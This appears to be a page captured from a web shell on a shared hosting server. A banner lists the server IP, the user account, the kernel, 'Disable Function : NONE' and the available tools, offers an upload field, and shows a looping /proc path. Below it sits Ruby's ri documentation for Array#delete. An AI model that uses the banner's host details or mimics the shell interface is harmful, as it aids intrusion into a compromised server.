Server IP : 66.29.132.122 / Your IP : 3.133.133.18 Web Server : LiteSpeed System : Linux business142.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64 User : admazpex ( 531) PHP Version : 7.2.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /proc/self/root/proc/self/root/proc/thread-self/root/proc/thread-self/root/proc/self/root/proc/thread-self/root/proc/self/root/proc/self/root/opt/alt/ruby18/share/ri/1.8/system/Array/ |
Upload File : |
--- !ruby/object:RI::MethodDescription aliases: [] block_params: comment: - !ruby/struct:SM::Flow::P body: Deletes items from <em>self</em> that are equal to <em>obj</em>. If the item is not found, returns <tt>nil</tt>. If the optional code block is given, returns the result of <em>block</em> if the item is not found. - !ruby/struct:SM::Flow::VERB body: " a = [ "a", "b", "b", "b", "c" ]\n a.delete("b") #=> "b"\n a #=> ["a", "c"]\n a.delete("z") #=> nil\n a.delete("z") { "not found" } #=> "not found"\n" full_name: Array#delete is_singleton: false name: delete params: | array.delete(obj) -> obj or nil array.delete(obj) { block } -> obj or nil visibility: public